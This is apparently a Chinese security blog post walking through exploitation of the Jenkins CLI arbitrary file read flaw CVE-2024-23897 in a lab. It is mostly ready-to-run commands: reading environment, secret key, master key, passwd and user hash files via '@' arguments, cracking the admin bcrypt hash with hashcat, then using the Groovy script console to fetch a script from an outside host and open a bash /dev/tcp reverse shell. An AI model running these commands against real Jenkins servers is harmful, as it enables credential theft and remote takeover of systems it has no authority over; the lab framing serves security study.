Jenkins CLI 接口任意文件读取漏洞getshell(CVE-2024-23897)

民生   2024-08-11 09:30   海南  

 CVE-2024-23897


    看到了,关注一下不吃亏啊,点个赞转发一下啦,WP看不下去的,可以B站搜:标松君,UP主录的打靶视频,欢迎关注。顺便宣传一下星球:重生者安全, 里面每天会不定期更新OSCP知识点,车联网渗透红队以及漏洞挖掘工具等信息分享,欢迎加入;以及想挖SRC逻辑漏洞的朋友,可以私聊。





01



CVE-2024-23897


Jenkins使用args4j来解析命令行输入,并支持通过HTTP、Websocket等协议远程传入命令行参数。args4j中用户可以通过@字符来加载任意文件,这导致攻击者可以通过该特性来读取服务器上的任意文件。

该漏洞影响Jenkins 2.441及以前的版本

漏洞复现

访问http://your-ip:8080即可查看到Jenkins登录页面,默认的管理员帐号密码为admin和vulhub。利用该漏洞可以直接使用官方提供的命令行客户端,在http://localhost:8080/jnlpJars/jenkins-cli.jar下载

使用该工具读取目标服务器的/proc/self/environ文件,可以找到Jenkins的基础目录,JENKINS_HOME=/var/jenkins_home:

java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/proc/self/environ"

然后,可在该目录下读取敏感文件,如secrets.key or master.key(匿名情况下,只能通过命令行的报错读取文件的第一行):

java -jar jenkins-cli.jar -s http://192.168.157.128:8080/ -http help 1 "@/var/jenkins_home/secret.key"

java -jar jenkins-cli.jar -s http://192.168.157.128:8080/ -http help 1 "@/var/jenkins_home/secrets/master.key"

读/etc/passwd:

java -jar jenkins-cli.jar -s http://192.168.157.128:8080/ -http connect-node "@/etc/passwd"

枚举Jenkins用户、提取密码哈希值(爆破)

Jenkins 安装将有一个文件,其中列出了此处的所有有效用户:

/var/jenkins_home/users/users.xml

java -jar jenkins-cli.jar -s http://192.168.157.128:8080 connect-node '@/var/jenkins_home/users/users.xml'

users.xml显示系统上的单个用户,admin,其文件夹为 /var/jenkins_home/users/admin_2288316991897112890

在 Jenkins 上的每个用户文件夹中,始终有一个包含用户密码哈希的config.xml文件。

读一下:

java -jar jenkins-cli.jar -s http://192.168.157.128:8080 connect-node '@/var/jenkins_home/users/admin_2288316991897112890/config.xml'

保存下来hashcat爆破一下:

hashcat -m 3200 jenkins.hash pass --force

拿到用户名和密码,登录后台。


jenkins后台getshell:

点击管理:

找到脚本控制台:

执行并打印系统命令:

println "whoami".execute().textprintln "ifconfig".execute().text


命令成功执行;上传反弹shell:

println "curl http://192.168.134.131/reverse.sh".execute().textprintln "bash reverse.sh".execute().text
reverse.sh脚本内容:bash -c 'bash -i >& /dev/tcp/192.168.134.131/8787 0>&1'

反弹成功:




更多精彩内容请扫码关注“重生者安全”星球

免责声明:

本人所有文章均为技术分享,均用于防御为目的的记录,所有操作均在实验环境下进行,请勿用于其他用途,否则后果自负。

第二十七条:任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序和工具;明知他人从事危害网络安全的活动,不得为其提供技术支持、广告推广、支付结算等帮助

第十二条:  国家保护公民、法人和其他组织依法使用网络的权利,促进网络接入普及,提升网络服务水平,为社会提供安全、便利的网络服务,保障网络信息依法有序自由流动。

任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得危害网络安全,不得利用网络从事危害国家安全、荣誉和利益,煽动颠覆国家政权、推翻社会主义制度,煽动分裂国家、破坏国家统一,宣扬恐怖主义、极端主义,宣扬民族仇恨、民族歧视,传播暴力、淫秽色情信息,编造、传播虚假信息扰乱经济秩序和社会秩序,以及侵害他人名誉、隐私、知识产权和其他合法权益等活动。

第十三条:  国家支持研究开发有利于未成年人健康成长的网络产品和服务,依法惩治利用网络从事危害未成年人身心健康的活动,为未成年人提供安全、健康的网络环境。





道玄网安驿站
本号主推OSCP,vulnhub,车联网,红蓝对抗,挖洞,网络新闻等网络安全信息,喜欢的可以关注
 最新文章